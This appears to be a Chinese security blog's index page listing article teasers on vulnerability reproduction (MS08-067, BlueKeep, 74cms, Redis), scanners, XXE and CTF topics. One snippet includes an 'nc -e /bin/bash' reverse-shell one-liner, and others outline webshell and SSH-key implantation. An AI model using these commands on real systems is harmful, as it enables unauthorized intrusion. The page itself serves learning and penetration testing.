Kali之MSF的MS08-067漏洞复现详解
MSF即Metasploit Framework，是一个综合性的渗透测试工具，集成信息收集、漏洞扫描、漏洞利用以及提权等功能的工具。目前安装的kali都自带MSF，可以直接在图形界面打开也可以在kali的终端通过使用命令msfconsole来打开。┌──(kali㉿kali)-[~]└─$ ls /
常见web漏洞
SQL注入漏洞原理：网站对用户输入的数据没有经过严格的过滤导致带入到数据库中执行造成数据库信息泄露注入类型：按注入点类型： 数字型、字符型、搜索型；按数据库类型： Access、MsSQL、MySQL、Oracle、DB2等；按提交方式： GET、POST、Cookie、HTTP头、XFF；按执行
Web漏洞扫描器-Xray使用方法
Web漏洞扫描器-Xray使用方法
【端口扫描工具】mascan核心使用
【masscan】快速上手
Appscan安全测试
Appscan主要是对web应用和移动端app做安全扫描，通过录制脚本、选择扫描规则、回放脚本，来发现系统存在的SQL注入、XSS、CSRF等安全漏洞，并能自动生成安全测试报告。
信息安全-防火墙技术原理与应用
防火墙概述、防火墙类型与实现技术、防火墙主要产品与技术指标、防火墙防御体系结构、防火墙技术应用
CVE-2019-0708（BlueKeep）漏洞分析与复现
文章目录一、 漏洞简介1、漏洞介绍：2、漏洞原理：3、影响版本：二、 漏洞复现复现环境：复现过程：1、主机发现：2、使用MSF的漏洞模块：3、对靶机进行漏洞扫描：4、使用攻击模块，对靶机进行攻击5、使用POC，进行蓝屏攻击一、 漏洞简介1、漏洞介绍：2019年5月14日微软官方发布安全补丁，修复了
Nessus 扫描web服务
Nessus 扫描web服务
前端常用加密方式及使用
前端常用加密方式有RSA加密、AES加密、MD5加密、SHA256加密以及国密：/ 生成随机字符串 function randomString(len) { len = len || 16; const $chars = 'ABCDEFGHJKMNPQRSTWXYZabcdefhijkm
漏洞复现 - - - 未授权访问漏洞Redis
未授权访问漏洞Redis, 通过redis数据备份功能，往WEB网站根目录写入一句话木马，利用shell得到WEB网站权限,通过定时任务反弹Shell,写SSH公钥，实现免密登录linux服务器
内网渗透-常用反弹shell方法总结
常用反弹shell方法总结文章目录常用反弹shell方法总结前言bash反弹shellnc反弹shell1.nc弹linux的shell: nc -e /bin/bash 1.1.1.1 99992. 如果linux中nc没有-e参数3.nc 弹windows下的shell:whois 反弹she
74cms 5.0.1 版本命令执行漏洞复现
从整体分析来看，对site_domain的输入，只会使用trim,htmlspecialchars,stripslashes,strip_tags,think_filter这几个函数做过滤，对于执行php代码，写入shell，有影响的只有strip_tags，可以通过编码绕过正常的url.php文件
XML 外部实体 (XXE) 漏洞及其修复方法
PHP拥有可能是最流行的后端Web应用程序语言的称号，因此，它是攻击者的主要目标，包括XXE攻击。由于攻击者经常发现新的漏洞，因此必须保持您的PHP版本是最新的以保护您的应用程序。它们不能用于获取二进制文件，或包含类似于XML但实际上不是有效XML的代码的文件。XXE（XML外部实体注入）是一种常见
Xray 漏洞扫描工具使用方法
使用XRAY进行主动扫描和被动扫描（window） 下载地址： Github: https://github.com/chaitin/xray/releases 运行 xray 需要在 powershell 中，在 powershell 中 xray 可以对测试结果进行格式化输出，方便 我们查看分析
中职网络安全-数据包分析(四川省省赛)
使用过滤规则：ip.src==192.168.90.132 and telnet。使用过滤规则：ip.src==192.168.90.132&&tcp。使用过滤规则：tcp.connection.syn。使用过滤规则：icmp.type==3。
骑士CMS01 74cms v4.2.111 后台getshell漏洞复现
先进入网站后台/index.php?然后访问/Application/Home/Conf/config.php。猜测账号就是admin了，貌似这里登录会验证，试试能不能爆破密码。输入账号aaa回显管理员账号不存在，试试admin。进入后台找到工具=>风格模板=>可用模板，抓包。302跳转登录成功密码
常见的网络安全攻击及防御技术概述
在互联网前置区域部署全流量入侵检测系统，可对互联网入口和出口的所有访问进行通信数据流的实时检测、分析，特别是对报文中涉及的敏感字段和网络活动中的异常情况进行检测。数据库审计系统主要用于监视并记录对数据库服务器的各类操作行为，通过对网络数据的分析，实时、智能地解析对数据库服务器的各种操作，并记入审计数
文件包含(CTF)
文件包含留言 连接数据库查看留言 连接数据库登录 连接数据库注册 连接数据库代码的重复留言查看留言 连接数据库单独的文件登录注册程序开发人员通常会把可重复使用的函数写到单个文件中，在使用某个函数的时
跨域问题详解
什么是跨域跨域的概念很简单，即当一个请求URL的协议、域名、端口三者之间任意一个与当前页面URL不同则视为跨域，而跨域问题产生的原因主要是由浏览器的“同源策略”限制导致的，是浏览器对JavaScript 施加的安全限制。什么是同源策略所谓同源是指协议、域名以及端口要相同。我们举例说明：假如有这么一个
